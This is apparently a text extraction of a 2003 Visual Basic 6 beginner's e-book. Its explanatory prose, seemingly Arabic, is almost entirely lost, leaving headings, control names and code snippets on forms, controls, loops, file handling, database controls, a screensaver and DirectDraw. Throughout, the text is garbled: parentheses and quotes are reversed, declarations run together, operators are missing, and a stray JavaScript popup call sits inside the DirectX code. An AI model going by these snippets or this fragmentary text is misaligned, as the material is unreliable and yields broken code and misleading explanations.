You are on page 1of 257

---------------------------

--------------------------------------
Forms





-------------------------------




PictureBox
CheckBox
OptionButton
ComboBox ListBox
ScrollBars
FileListBox | DirListBox | DriveListBox
Image
OLEObject
RichText Box
CommonDialog
MSFlexGride



---------------------------




---------------
If..Then
Select Case
For..Next
While..We
Do..Loop
--------------------------------------

--------------------

Enum
UDT
------------------------






------------------------------------------

----










--------------------------------------



-----------------------------



API
------------------------------------------



DataControl

DBGride
3

DataControl




----------------------------------



--------

DirectDraw










DirectInput

----------------------------------- ActiveX


----------------------------- Classes



Methods



-------------------------------------------------



VBScript
VBScript


HTML
Dynamic HTML
DHTML
DHTML
DHTML
DHTML
---------------------


Client


Server
5

------------------------------------------



ToolTipText
ClipBoard
With
App
Shell32





...
.



BASIC
Beginners All-purpose Symbolic Instruction Code

..

.
.
.

:..

Dartmouth
..

:
:
:
bibovbbook@hotmail.com :
:ICQ
:
14 \ 6 \ 2003 :

% ..

Start :
Start > Programmes > Microsoft Visual Studio 6.0 > Microsoft
Visual Basic 6.0

10

:
...


:


Form1 ...
Twip

...
:View Code ...
.
:Menu Editor ...
.
:Lock Controls
... ...
:Paste .
:Properties .

11

:

Microsoft Visual Basic 6.0
PictureBox
Timer TextBox Label
..


Components :

Apply OK
ActiveX DLL Browse ..

12

...
Directory Forms
Directory
Module ... Class Module
Form ...Form1


..

:



:

13

... ...
Caption Form1 ...

Name
Categorized Alphabetic
...


... Name
..

14

: Pointer

.
PictureBox : ...
.
Label : ...
...
Text Box :

Frame : Frame
.
Command Button :
.
Check Box : ...
Options .
Option Button : ...
.
Compo box :

ListBox : List
.
HScrolBar : ...
.

15

VScrollBar :
.
Timer :
.
DriveListBox : ListBox
.
dirListBox : ListBox
Folders .
FileListbox : Listbox
Files .
Shape : .
Line : .
Image :
. Picturebox
data:
.
OLE :
.

..

16

:
:File
..Exe
:Edit
..
:View
...
:Project
Module ClassModule ..
:Format

LockControls
...
:Debug

StepInto StepOver StepOut
RunToCursor
BreakPoints
...
:Run
..
:Query ..SQL
:Diagram SQL ..ORACLE

17

:Tools
AddProcedur

ProcedureAtributes
ID ..
:Add-Insert
..
:Window
..
:Help
MSDN
..

18

:
)(Private Sub Command1_Click
End Sub

:
Private
...
.Private
Sub Sub End Sub
... .
Command1
Command1 .
Click
Click Command1_Click
Click .Command1
End Sub )( .

19

BreakPoint
BreakPoint..

BreakPoint

..Debug

20

..
:Controls
...
:Event
..
:Methods
Me.Hide ..
:Object )(
..
:Procedure
)(
" .. Event Procedure
:Properities
..

21

Forms


.

.
) (..
Grid
.

22

: :
..Add > Form
Project ..AddForm
:

:Form ..
:About Dialog
..
:Web Browser
..
:Dialog ..Dialog Box
:Log In Dialog ..
:Splash Screen ..

23

:Tip of the Day Tip of The Day


..
:Option Dialog Option Dialog ..

: )( :

..

24

Name
Appearance
AutoRedraw
BackColor
BorderStyle
Caption
ControlBox
Enabled
Font
ForeColor
Height
Left
MaxButton
MinButton
MouseIcon
MousePointer
Movable
Picture
RightToLeft
ShowInTaskBar
StartUpPositio



True



...


= False
...

False
...
















...
25

Top
Visible
Width
Window State

:
Object.Property = Style
Object Property
Style ..

26


:
:Load ..
:Activate
.
:Deactivate .
:Unload .
:Initialize

.

27


:

..

Height ..Width
Width Height
..

28


Twip
..
ScaleMode
:

..User
..Twip
..Point
..Pixel
..Character
..Inch
..Millimeter
..Centimeter

29



Visual Basic6
.



...

30


:


.
:

.
.


.

.



.
Shift

.. Shift

:



. .

31

:
:
.


.


.

32

: Control + C Edit ...Copy


: Control + X Edit ...Cut
: Control + V Edit ...Paste
: Delete Edit ...Delete

33

Check Box


..
: CheckBox Image CheckBox
..
:CheckBox
)(Private Sub Check1_Click
If Check1.Value = 1 Then
Image1.Visible = True
End If
End Sub

Check1.Value
:
0 Unchecked
1 Checked
2 Grayed

34

Combo & List Box

:Combo Box :
:

End Sub

)(Private Sub Form1_Load


Combo1.AddItem Ehab
Combo1.AddItem Ahmed

Ehab Ahmed
..
( Change
Click :
)(Private Sub Combo1_Click
Select Case Combo1.ListIndex
Case 0
Case 1

Expression
Expression
End Select
End Sub

35

:
Select Case Case 0
Case 1 Case 0 Ehab Case 1
Ahmed Combo1.ListIndex
Expression
Image1.Visible = True Label1.Caption = Ehab
.. End Select .Select Case
:List Box :
:

End Sub

)(Private Sub Form1_Load


List1.AddItem Ehab
List1.AddItem Ahmed

Ehab Ahmed
..
( Change
Click :
)(Private Sub Combo1_Click
Select Case List1.ListIndex
Case 0

Expression

Case 1
Expression .
End Select .
End Sub
..ComboBox

36

Common Dialog


..
: :
Common Dialog
.. :

...

37

Common Dialog :
( Common Dialog .
( .
( .
( :
&CommonDialog1.Flags = &H1

)(Private Sub Command1_Click

CommonDialog1.ShowColor
Element.Action = CommonDialog1.Color .
End Sub
:
CommmonDialog1.ShowColor
Element.Action Element
Label1 Form1 Action ForeColor
BackColor BorderColor
CommonDialog1.Color
..

38

: :
Common Dialog bmp jpg gif
:
( Common Dialog .
( .
( Image .Picture
( :
)(Private Sub Command1_Click
")CommonDialog1.Filter = "Bitmaps (*.bmp)|Jpeg (*.jpg
CommonDialog1.ShowOpen
If CommonDialog1.FileName <> "" Then
)Picture1.Picture = LoadPicture(CommonDialog1.FileName

End If .
End Sub

Common Dialog
...

39

: :txt
Common Dialog
:
( Common Dialog .
( .
( .RichTextBox
( :
)(Private Sub Command1_Click
")CommonDialog1.Filter = "Text (*.txt
CommonDialog1.ShowOpen
If CommonDialog1.FileName <> "" Then
)RichTextBox1.LoadFile (CommonDialog1.FileName

End If

End Sub

Common Dialog
...TextBox

TextBox..

40

Image




:
Name

Appearance

BorderStyle

Enabled

Height

Left

MouseIcon

MousePointer

Picture

Stretch

ToolTipText

Top

Visible

Width

Stretch PictureBox

41

: PictureBox
..CommonDialog

42

Option Button


..
Visible False Option1
..
Option1:
)(Private Sub Option1_Click
Image1.Visible = True
Image2.Visible = False
Image3.Visible = False
End Sub
True ...
Option1 2 ...

43

PictureBox

...

:
Name

Align


...

Appearance

AutoRedraw

AutoSize

BackColor

BorderStyle

Enabled

Height

Left

MouseIcon

..

MousePointer

Picture

ToolTipText

Top

Visible

Width

:
44


... AcdSee
...
PictureBox ..LoadPicture
LoadPicture :
)Picture1.Picture = LoadPicture(PicturePath
Picture Path ...

:

Picture Box
:
( :
)(Private Sub Command1_Click
_ Picture2.PaintPicture Picture1.Picture, 0, 0,
_ Picture1.Width, Picture1.Height, 0, 0,
Picture1.Width, Picture1.Height, vbSrcCopy
End Sub

( :
)(Private Sub Command2_Click

45

Picture2.PaintPicture Picture1.Picture, 0, 0, _
Picture1.Width, Picture1.Height, Picture1.Width, _
0, -Picture1.Width, Picture1.Height, vbSrcCopy
End Sub
:(
Private Sub Command3_Click()
Picture2.PaintPicture Picture1.Picture, 0, 0, _
Picture1.Width, Picture1.Height, 0, Picture1.Height, _
Picture1.Width, -Picture1.Height, vbSrcCopy
End Sub
:(
Private Sub Command4_Click()
Picture2.PaintPicture Picture1.Picture, 0, 0, _
Picture1.Width, Picture1.Height, Picture1.Width, _
Picture1.Height, -Picture1.Width, -Picture1.Height, vbSrcCopy
End Sub

46

OLE

Bitmap Word ..

..PaintBrush
:

Bitmap Image
Display As
..Icon
OK
..

..

47

Rich Text Box

Text

..
(
.. :
:
RichTextBox1.SelBold = True

:
RichTextBox1.SelItalic = True
:
RichTextBox1.SelFontName = .
:
RichTextBox1.SelFontSize = .
:
RichTextBox1.SelAlignment = X
X
... TextBox
On Error Resume Next

..

48

(
ScrollBars vbBoth vbVerticaly
...vbHorizontaly
( txt ) ..
(CommonDialog

49

Scroll Bars
Scroll Bar
Scroll Bar
HScroll VScroll Max
Min ..
:HScroll1
.

)(Private Sub HScroll1_Change


Image1.Left = HScroll1.Value
End Sub

:VScroll1

)(Private Sub VScroll1_Change


Image1.Top = VScroll1.Value
End Sub


..
LargeChange
SmallChange ..

50


DriveListBox FileListBox
DirListBox
CommonDialog
:
Drive1:

Dir1.Path = Drive1.Drive
Dir1:
File1.Path = Dir1.Path
File1:
SelectedFile = File1.Path & "\" & File1.filename
LoadedFile
FileListBox LoadedFile
bmp ..txt
:
File1 Pattern **.

*.bmp txt *.txt ....

51

)(Private Sub Command1_Click


MsgBox Message,X,Title

End Sub


.. :

Message .

:
Shapes:
16- Stop
32- Question Mark
! 48-
64- Help
Buttons:
1- Ok // Cancel
2- Retry // Abort // Ignore
3- Cancel // Yes // No
4- Yes // No
5- Cancel // Retry


Stop Yes No Stop
16 Yes No ...16 + 4 = 20 4

Title .

52

Response
Yes No
Response
Yes No
:
)(Private Sub Command1_Click
)Response = MsgBox (Are you sure?, vbYesNo, Exit
If Response = vbYes Then
End
ElseIf Respone = vbNo Then
Form1.Show
.
End Sub

End If

Yes No
...
Response
...Response

)..Chr(10

53

FlexGride

:
: Cell
Col Row .. Text
:
Row Col
Row Cel Colsel
Clip String

VB Tab
VBCR .
: Text matrix

.
:
)(Private Sub Form_Load
With MSFlexGrid1
.Rows = 3
.Cols = 3

"" = .Row = 0: .Col = 0: .Text


"" = .Col = 1: .Text
" " = .Col = 2: .Text

.Row = 1: .Col = 0: .RowSel = 1: .ColSel = 2


54

.Clip = " & "vbTab & " & "vbTab & "6328612"

.TextMatrix(2, 0) = ""
.TextMatrix(2, 1) = ""
.TextMatrix(2, 2) = "4527894"

.AddItem " & "vbTab & " & "vbTab & "9854326"
End With
End Sub

55


:
:AllowBigsseleCtion
.
:AllowUserResizing

:FillStyle Cell CellFontName
FillStyle

.
:MergeCells

.
:SelectionMode
.

56

:
:ForeColor .
:ForeColorFixed .
:ForeColorSel .

:
:BackColor .
:BackColorFixed .
:BackColorSel
:BackColorBkg


CellCoreColor CellBackColor
.. CellPicture
.. Font

CellFontName CellFontSize
..CellFont


Grid:
:GridColor .
:GridColorFixed .
:GridLines .
:GridLinesFixed .
:GridLineWidth .

57

:
:Entercell
:Leave cell .
:RowColchange .
:Selchange .

58


Menu Editor
Tools Menue Editor :

:
(
(
(
(
(
(

Caption .
Name .
Shortcut ... Ctrl + N.
Checked .
Enabled .
Visible .

59


Next
...

Alt &
.. ..Caption

60


:
Mnu Index 0
:
Dim index As Integer
index = Mnu.Count
)Load Mnu (index
" " = Mnu(index).Caption
Mnu(index).Visible = True

Text1.Text TextBox
..

61


..
..
..
:
)(Private Sub Command1_Click
PopupMenu Form2.mnu1, 1, Image6.Left - 960, Image6.Top +
825
End Sub

mnu1 Left Top
..

62

.Picture Box
.True AutoSize
. x
:Module

(
(
(
(

Private Declare Function VarPtr Lib "VB40032.DLL" (variable As


Any) As LongPrivate
Declare Function GetMenu Lib "user32" (ByVal hwnd As Long) As
LongPrivate
Declare Function GetSubMenu Lib "user32" (ByVal hMenu As Long,
ByVal nPos As Long) As LongPrivate
Declare Function SetMenuItemBitmaps Lib "user32" (ByVal hMenu
As Long, ByVal nPosition As Long, ByVal wFlags As Long, ByVal
hBitmapUnchecked As Long, ByVal hBitmapChecked As Long) As
Long
Const MF_BYPOSITION = &H400&
:
Dim mHandle As Long, lRet As Long, sHandle As Long, sHandle2
As Long
mHandle = GetMenu(hwnd)
sHandle = GetSubMenu(mHandle, mnu#)
lRet = SetMenuItemBitmaps(sHandle, chos#, MF_BYPOSITION,
Picture1.Picture, imOpen.Picture)
lRet = SetMenuItemBitmaps(sHandle2, 0, MF_BYPOSITION,
imCopy.Picture, imCopy.Picture)

63

mnu# 0 chos#
0 ..

64

If Then
If

...
:
(
(
(
(
(

:IF
.
:Then If
) (If .
:Else If
.
:ElseIf If
If End If ElseIf
.
:End If
.


..
)(Private Sub Command1_Click

If Text1.Text = Ehab Then

Image1.Visible = True
ElseIf Text1.Text = Bibo Then
Image1.Visible = True
.

Else
Image2.Visible = True
End If
End Sub

65

:
Password

If Text1.Text = Ehab Ehab
Image1.Visible = True Then
Bibo
ElseIf Ehab Bibo
.Else
.
:IFF
If..Else:
Private Sub Command1_Click
X = Text1.Text
)"MsgBox IIf(X = 7, "X=7", "X<>7
End Sub
=
..

66

Select Case

if

Select Case :

Select Case
.
Case

.
Case else
Else
.

: :
Private Sub Command1_Click
Select Case Text1.Text
"Case "Bibo
"MsgBox "You Choosen Bibo..
"Case "Ehab
"MsgBox "You Chosen Ehab..
Case Else
"!MsgBox "Wrong
End Select
End Sub

67

= Bibo
Ehab
..

68

For.. Next
:
)(Private Sub Command1_Click

For X = 1 To 10 Step 2

Print X
Next X
End Sub


.. :
:
X
For X = 1 To 10 Step 2 Print X
Next X ..

69

While.. Wend

:
Wend While
:
.

)(Private Sub Command1_Click


Score.Caption = 0
While Score.Caption < 10
Score.Caption = Score.Caption + 1
Wend
End Sub

Score
..

70

Do.. Loop
Do.. Loop
:
(
(

:Do .
:Loop Until Do
.

:
.

Do

)(Private Sub Command1_Click


Score.Caption = 0
Score.Caption = Score.Caption + 1
Loop Until Score.Caption = 10

End Sub
Score
..

71


Timer
..
Image TmrMove Interval
) (
:
)(Private Sub TmrMove_Timer
Image.Move Image.Left + 120, Image.Top + 120
End Sub
:
Twip
Top ..
...
Left

Top

72

...
...
...
Image ..
Interval ..

... ...


..

:
- Form.Width
- Picture.Width
..Picture.Left
-
Picture.Width + Picture.Left ... Form.Width
...
Byte
Integer
... ...
Byte ..

73

Form_Load
:
PicMove.Left = 0
Genral
... ...
... :
Dim Speed As Integer
Integer Dim FarLeft As
Dim FarRight As Integer
:
MoveSpeed = 50
FarLeft = 0
FarRight = Form1.Width
:
MoveSpeed PicMove.Left = PicMove.Left +
Then MoveSpeed = 50 FarLeft > If PicMove.Left
FarRight Then MoveSpeed = < PicMove.Width) If (PicMove.Left +
-50

74

:
- Left
..MoveSpeed.
- FarLeft
... .
- FarRight
.

75


...
:KeyCode :
FormLoad
KeyDown ..
( FormLoad
..KeyDown
( :
Private Sub Form_KeyDown (KeyCode As Integer, Shift As
)Integer
If KeyCode=VbKeyX Then
Image1.Visible
= False
End If
End Sub
: X
Image1.Visible = False .
: ...Ctrl, Alt, Esc, Del
Ctrl Control Esc Escape ..

76

:ASCII :

KeyPress ..
If Ascii = # Then
Image1.Visible = True
End If
# ASCII Enter
..
...Image1.Visible = True
:

:Form_Load
Form1.KeyPreview = True

ASCII
:
)Private Sub Form_KeyPress(KeyAscii As Integer
Label1.Caption = KeyAscii
End Sub

77

:

....
:

Image1

Label1

Image2


..
:Timers
:Timer1 ..
:Timer2 Enabled ..False
:Timer3 Enabled ..False

78

: Timer1 :
:
Dim X As Integer
X = Label1.Caption
Label1.Caption = X 1
If X = 0 Then
Label1.Visible = False
Timer1.Enabled = False
Timer2.Enabled = True
Timer3.Enabled = True
..

79

:Timer2 :
:
Dim X
X = Text2.Text
Image2.Move Image2.Left + X

: :
Text1.Enabled = False
Text2.Enabled = False
Command1.Enabled = False
Timer1.Enabled = True

80

:Timer3 :
:
Dim X
X = Text2.Text
If Image1.Left > 6720 Then
Timer1.Enabled = False
Timer2.Enabled = False
Timer3.Enabled = False
MsgBox " & "X & "! "!
End
ElseIf Image2.Left > 6720 Then
Timer1.Enabled = False
Timer2.Enabled = False
Timer3.Enabled = False
MsgBox " & "X & "! "!
End
End If
..

81

: :
: KeyDown
If Label1.Visible = True Then
If KeyCode = vbKeyLeft Then
Image1.Move Image1.Left + 180
ElseIf KeyCode = vbKeyRight Then
Image1.Move Image1.Left 180
End If
End If


..

82



..
:
(
(
(
(
(
(

:
...
: ..
: ..
: ..
:
..Format
:Variant
..

83

Byte
Integer
Long

Single

Double


..


..



..

3.402823E+38
3.402823E+38


1E+9000

84

Enum

Enum Enumeration
Genral
:
Private Enm Name
Ahmed
Mohamed
Ehab
Arafa
End Enum

.

85

UTD


:
Private Type FootBall
BestPlayer As String
Age As Integer
Cool As Boolean
End Type
..FootBall

86


Rmdir :
)(Private Sub Command1_Click
On Error Resume Next
)RmDir (App.Path + "\Bibo

End Sub

Bibo ..
Mkdir:
)(Private Sub Command1_Click
On Error Resume Next
)"MkDir (App.Path & "\Bibo

End Sub
Bibo ..
..

87

:
)(Private Sub Command1_Click
)Name (C:\Test.txt) As (D:\Bibo.txt
End Sub
Test.txt Bibo.txt
..
..

88


Call Kill :
)(Private Sub Command1_Click
)"Call Kill (Path
End Sub
Path :
)(Private Sub Command1_Click
)"Call Kill (C:\Ehab.txt
End Sub
C Ehab.txt *.txt
* *.

..

CommonDialog:
CommonDialog :
)(Private Sub Command1_Click
CommonDialog1.ShowOPen
)Call Kill (CommonDialog1.FileName
End Sub
OK ..

89

: DIR
Dim Fname As String
Fname = Dir$(C:\Windows\*.exe)
Do While Len(Fname)
List1.AddItem Fname
Fname = Dir$
Loop
..List Bmp

90

:
Private Sub Command1_Click()
SetAttr "Path", vbHidden
End Sub
:Read Only
Private Sub Command1_Click()
SetAttr "Path", vbReadOnly
End Sub
:
Private Sub Command1_Click()
SetAttr "Path", vbArchive
End Sub

... Path

:
Private Sub Command1_Click()
91

Dim fso, d, f, s
filespec = "c:\autoexec.bat" '
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.GetFile(filespec)
s = UCase(f.Path) & vbCrLf
s = s & Chr(13) & " : " & Chr(9) & f.DateCreated
s = s & Chr(13) & " : " & Chr(9) & f.DateLastAccessed
s = s & Chr(13) & " :" & Chr(9) & f.DateLastModified
MsgBox s, vbMsgBoxRight + vbMsgBoxRtlReading + vbYes,
"Rsultat"
End Sub
:
Name C:\Bibo.txt As C:\Ehab.bmp

..CommonDialog
..

92

Shell
:
)(Private Sub Command1_Click
)A = Shell("C:\WINDOWS\notepad.exe", vbNormalFocus
End Sub
NotePad
..


CommonDialog:
CommonDialog :
)(Private Sub Command1_Click
CommonDialog1.ShowOPen
)A = Shell(CommonDialog1.FileName
End Sub

OK ..

93




..
:
:SyntaxError .
:RunTimeError
C
..
:LogicalError
...

94


:

:
On Error Resume Next

:RunTimeError
RunTimeError :
RunTimeError #
ErrType

# ErrType CantLoadFile
..CantFindFile
CantFindFile
53
:
On Error GoTo Bibo
Bibo:
If Err.Number = 53 Then
, 16 MsgBox ..
End If
..

95


:
On Error GoTo Ehab
Ehab:
If Err Then
MsgBox Err.Number & Chr(10) & Err.Description, 16
End
End If

96

Strings
.

..String
:
Dim String1 As String
Dim String2 As String
"String1 = "Bibo
"String2 = "Ehab
Label1.Caption = String1 & String2

String1 String2..

97

:
:
)))Text1.Text = UCase(Left(Text1.Text, Len(Text1.Text

:
:
)))Text1.Text = LCase(Left(Text1.Text, Len(Text1.Text

:
:
X = Text1.Text
))Y = UCase(Left(X, 1
))Z = LCase(Right(X, Len(X) - 1
Text1.Text = Y & Z & g

98

:
:
)Text1.Text = StrReverse(Text1.Text

99

100



:
:

Line -(X, Y), vbBlue

Line -(x, y), vbGreen


Circle (x, y), 50

:
* Me.PSet (x + Rnd * 255, y + Rnd * 255), RGB(Rnd * 255, Rnd
)255, Rnd * 255
* Me.PSet (x + Rnd * 255, y + Rnd * 255), RGB(Rnd * 255, Rnd
)255, Rnd * 255
* Me.PSet (x + Rnd * 255, y + Rnd * 255), RGB(Rnd * 255, Rnd
)255, Rnd * 255
* Me.PSet (x + Rnd * 255, y + Rnd * 255), RGB(Rnd * 255, Rnd
)255, Rnd * 255
..

101

:Len :
Dim Stl As Integer
)Stl = Len(String1

:Trim :
)Result = Trim(String1

:LTRim . :
)Result = LTrim(String1

:RTrim . :
)Result = Rtrim(String1

:Left
:
)Result = Left(String1, 1

102

:Right
:
)Result = Right(String1, 1

:Mid
:
)Result = Mid (String1, 2, 1

)( :chr AscII :
)Result = Chr(13

)( :ASC ASCII :
Dim AscCode
)AscCode = Asc(E

)( :Str .
:
)Result = Str(5

)( :Val
:
Dim Number
)Number = Val(String1

103

String1
String Result
..


..

104

:
)Label1.Caption = DateAdd(Interval, Number, Date
Interval D M
Number Date
.. ..
:
)Date1 = DateAdd(M, 3, Date

:
)"Label1.Caption = DateDiff(Interval, "Date1", "Date2
Date1 Date2 Interval
M D
:
Label1.Caption = DateDiff("m", "14/7/1989", "26/4/2003") \ 12

105

Interval ..
:
)Label1.Caption = Format (Date, YYYY
:
:

)Label2.Caption = Format (Date, MMMM


)Label3.Caption = Format (Date, MM

:
:

)Label4.Caption = Format (Date, DDDD


)Label5.Caption = Format (Date, DD

5 ...


..
Calendar = vbCalHijri
.
:
Calendar = vbCalGreg
.

106

:Not False ..True


:And ..True
:Or True ..
:Xor True
.
:Eqv True
.

107


: Mathematics Functions
: Abs

) (- ) (
..
)Number=Abs(-45.6
Text1.Text = Number
Number=45.6

Null Null

..
: Sqr
.
)Number=Sqr(25
Text1.Text = Number
.. Number=5
:Log
:
)Number=Log (20
Text1.Text = Number
..MyNumber=2.9957327

108

:Int

:
)Number=Int (332.54
Text1.Text = Number
MyNumber=332
:Atn ""

:
)( MyNumber=Atn
Text1.Text = MyNumber

:Tan
:
)( MyNumber=Tan
Text1.Text = My Number

:Cos
:
)( MyNumber=Cos
Text1.Text = MyNumber

109

:Sin
:
)( Number=Sin
Text1.Text = Number

110


... ..
Text Box . T1, T2
Command Button 5 / / - / +
..
Label Border Style Fixed
Stingle ..
...

111




.
:

.
+
:
)(Private Sub Command1_Click
Dim X, Y
)X = Val(t1.Text
)Y = Val(t2.Text
Label1.Caption = X + Y
End Sub

:


Val

= Label1.Caption
... ...

112

.
.
.
.
.
.
.
.
.
.
.

-
:
)(Private Sub Command2_Click
Dim X, Y
)X = Val(t1.Text
)Y = Val(t2.Text
Label1.Caption = X - Y
End Sub

..

113

.
<

>

><

=<

=>

Mod

Cos Tan
..

114


Label1 Label2 Interval
..
:

115



:
)(Private Sub Timer1_Timer
Label1.Caption = Time
Label2.Caption = Date
End Sub

System Label1 Label2
...

116



..

..

117


:
If Button = 1 Then

Line (X, Y), vbGreen


End If

MouseMove

:
:Genral
Dim DrNow As Integer
.Integer
:MouseDown
DrawNow = -1
CurrentX = X
CurrentY = Y
:
If DrNow And Button = 1 Then
)Line (X, Y
End If

118

..MouseUp
DrNow = 0

119

:
Me.Cls
:
Me.DrawWidth = #
:
Form1.AutoReDraw = True

120

Scope
.
: , Public Private
..

.. Public


..Private

121



.

.. Module
Add Module
Project ..

..

122



.


.

.

123


..
Sub .
.. Test
Enter .
Enter Visual Basic:
) ( Arguments .
End sub .
.

..

124


:
Public
.
Public Name As String
)(Sub Test
Name = Ehab
End Sub
Parameters
.
)Sub Test(Name As String
Name = Ehab
End Sub

125



... Exit Sub
)Sub (Name As String
If Name = Then Exit Sub
End If

126




..

. Mathematics Functions
. String Functions
. Date and Time Functions
. Data Type Inspection Functions
Program Output and User Input
.Functions
Financial Functions
..
) . User Defined Functions ( UDF

127



.

Function .. Sub:
)Public Function Sum(X As Integer, Y As Integer
If X = 0 Or Y = 0 Then
Exit Function
End If
Sum = X + Y
End Function

128

API

..Application Programming Interface API


API
: System
User32.dll (User Interface Functions)
Kernel32.dll (Operating System Kernel Functions)
Gdi32.dll (Graphics Device Interface Functions)
Shell32.dll (Windows Shell Functions)
APIGuide API
.. APIViewer

129




.. Data
..Control

..
: :DataBase
.. Binary

..
DataBase mdp
..xcl
Database Management System :
.. Access
mdp.. Oracle

..

..
:

..
DataControl ADO , DAO , OLEDB ,ODBC
.. DataControl
..

130

Access
Access2000
AccessXP

..
Add-
Ins Visual Data Manger :

:
New > Microsoft Access > Version 7.0 MDB

Telephone ..My Documents

131

Table1
:
. Properties DataBase
Windo .. New Table :

. ..TableName
. Add Field
:

132

- ..
Text ..
Ok ..
..
-
..
Biled the Table
..
..

133


Data1 Data ..
DatabaseName
.. Phones.mdb
Connect ..Access
DataControl Access

RecordSource .. Table1
Data .
:
..Label TextBox :

Texts
.. Data1
Data1 Text1
DataSouce Data1


..DataField
Table1 Text1 Name ..

134

Text2
DataField ..Phone

..



..

135

DataControl
:Name !
: Connect
..
:DatabaseName
DataControl
..
Connect .mdb Access
Xls .. Excel
:Exclusive
..
True : False
:Ture
..
:False ..
..
:RecordSource ..
DataControl ..
SQL DataControl
..

136



:
Add-InManager .. Add-Ins
.. Add-In Manager
Data From Wizard ..
Data Form Wizard Add-Ins..

Next

137

DataBase Type

Access .. ODBC

Access ..Next

..
Next
Form
..

..Name
From Lauout ..

138

Binding Type ..
..Next
..Record Source

Record Source
.. Available Fieds

..Selected Fields
Next Control
..Selection

139


..
Next ..


Profile
.. Finish

.

140

DBGride
DBGrid

DBGrid :
:AllowAddNew True
..
:AllowDelete True
..
:AllowResizing True
.
:AllowUpdate True
..
:Data Source ..
:Caption ..

141


DataControl Methods Function
DataControl
..
DataControl
..
Recordset ..
..
Data1.Recordset
..
..
:
MoveNext
..
:
Data1.Recordset.MoveNext
MovePrevious
....
Data1.Recordset.MovePrevious

142

MoveFirst
.. ..
Data1.Recordset.MoveFirst
.

MoveLast
....
Data1.Recordset.MoveLast

143



..:
AddNew ..
.. :

Data1.Recordset.AddNew
Delete .. ..
Data1.Recordset.Delete
.Update ..
..
.. .. ..
Data1.Recordset.Update
CancelUpdate
..
..
.. Update
.. ..
Data1.Recordset.CancelUpdate

144


..
SQL .. ..

"FindFirst" The Condition as String


String
...
..
"'Data1.Recordset.FindFirst "Name='Ehab
String
'Ehab
..
Name
Ehab TextBox
:
& Data1.Recordset.FindFirst Name= & Text1.Text
..

145

Functions
:
EOF End of Table
.. Function
True False True
.. ..
If Data1.Recordset.EOF Then
Procedure
End If
RecordCount
..

..
Dim NumberOrRecord As Integer
Data1.Recordset.RecordCoun
AbsolutePosition
) (
..
..
Dim PosLoc As Integer
PosLoc = Data1.Recordset.AbsolutePosition

146










..

..

..

147


..Standart.exe
WindowState None Border
. BackColor Maximized
:
Public Declare Function SetCursorPos Lib "user32" (ByVal x
As Long, ByVal y As Long) As Long
Sub Main()
If App.PrevInstance Then End
SetCursorPos Screen.Width, Screen.Height
Form1.Show
End Sub

:
Private Sub Form_KeyPress(KeyAscii As Integer)
If KeyAscii <> 0 Then End
End Sub

Private Sub Form_MouseMove(Button As Integer, Shift As


Integer, x As Single, y As Single)
Static Mov Integer
148

Mov = Mov + 1
If Mov <= 2 Then Exit Sub
ElseIf X = Screen.Width And Y = Screen.Height Then Exit
Sub
End If
End Sub

:
Private Sub Timer1_Timer()
Me.DrawWidth = 2
Line -(Rnd * 15000, Rnd * 9000), Rnd * 123456789
End Sub

149


:
EXE :

scr
.exe
Install
..

150

Direct Input

...
... KeyDown KeyPress
Direct Input ...
:

...
:
:DirectInputDevice
..
:DiKeyBoardState
...

:
Dx As DirectX7
Di As DirectInput
Didev As DirectInputDevice
DiKey As DIKEYBOARDSTA

151

Dim
Dim
Dim
Dim

:
Set Dx = New DirectX7
Set Di = Dx.DirectInputCreate()
Set Didev = Di.CreateDevice("guid_syskeyboard")
Didev.SetCommonDataFormat DIFORMAT_KEYBOARD
Didev.SetCooperativeLevel Me.hWnd, _
DISCL_NONEXCLUSIVE Or DISCL_BACKGROUND
Didev.Acquire

152

:


... - -
...
)
(
)( ...

...
Video Card Memory
... ..
...
...
...
References < Project
for VisualBasic 6.0 DirectX7 Type Library
... ...

... ...
...

153

:
)(Sub CreatDxObject
Dim Dx As DirectX7
Set Dx = New DirectX7
End Sub

New
...

... ) ( .

154


...
...

... Api
... Api
... ...

... Display Hardware
Graphic device Interface ..GDI
Graphics
... ...
Full-Screen-Mode Windowed-Mode ...
HAL
.
..

155

Primary Back_Buffer
..
) (Surace ) (DirectDrawSurface
...
...
...
...
...
...

Surfaces
...
Rect - :
DdSurfaceDesc2
Rect
Primary ... Back_Buffer .
DdSurfaceDesk
..

DdSurfaceDesc2

156

Rect DdSurfaceDesc2
... ...
Back_Buffer Primary
..
:
Type DDSURFACEDESC2
ddckCKDestBlt As DDCOLORKEY
ddckCKDestOverlay As DDCOLORKEY
ddckCKSrcBlt As DDCOLORKEY
ddckCKSrcOverlay As DDCOLORKEY
ddpfPixelFormat As DDPIXELFORMAT
ddsCaps As DDSCAPS2
lAlphaBitDepth As Long
lBackBufferCount As Long
lFlags As CONST_DDSURFACEDESCFLAGS
lHeight As Long
lLinearSize As Long
lMipMapCount As Long
lPitch As Long
lRefreshRate As Long
lTextureStage As Long
lWidth As Long
lZBufferBitDepth As Long
End Type
...

Primary

157


...
... ...
Primary
DdSurfaceDesc2 ...
.
Primary :
Dim Primary As DirectDrawSurface7
Dim Ddsd_Primary As DDSURFACEDESC2
Ddsd_Primary.lFlags = DDSD_CAPS Or _ DDSD_BACKBUFFERCOUNT
_ Ddsd_Primary.ddsCaps.lCaps = DDSCAPS_PRIMARYSURFACE
Or DDSCAPS_FLIP Or DDSCAPS_COMPLEX
Ddsd_Primary.lBackBufferCount = 1
= Set Primary
Dd.CreateSurface(Ddsd_Primary)javascript:popup.TextPopup(poptxt919,
)popfont919,9,9,-1,-1
...
lFlags Ddsd_Primary
... DDSD_CAPS
DDSD_CAPS ...

Back_Buffer
...

158

... DdSurfaceDesc2
:
Dim Ddsd_Back_Buffer As DDSURFACEDESC2
Dim Back_Buffer As DirectDrawSurface7
Ddsd_Back_Buffer.ddsCaps.lCaps = DDSCAPS_BACKBUFFER
Set Back_Buffer = Primary.GetAttachedSurface
_(Ddsd_Back_Buffer.ddsCaps)
Back_Buffer.GetSurfaceDesc Ddsd_Back_Buffer


...

159

...
... ...
...
DirectDraw .
...
: Genral
)(Sub CreateDdObject
Dim Dd As DirectDraw7
)(Set Dd = Dx.DirectDrawCreate
End Sub

:
- )

(
- DisplayMode

:
- .
- .

SetCooperativeLevel method
:
160

_ Dd.SetCooperativeLevel Form1.hWnd,
_ DDSCL_ALLOWMODEX Or
DDSCL_EXCLUSIVE Or DDSCL_FULLSCREEN

SetCooperativeLevel :

Hwnd ...
...
...
...
:

DDSCL_ALLOWMODEX


Mod_x

...

DDSCL_EXCLUSIVE
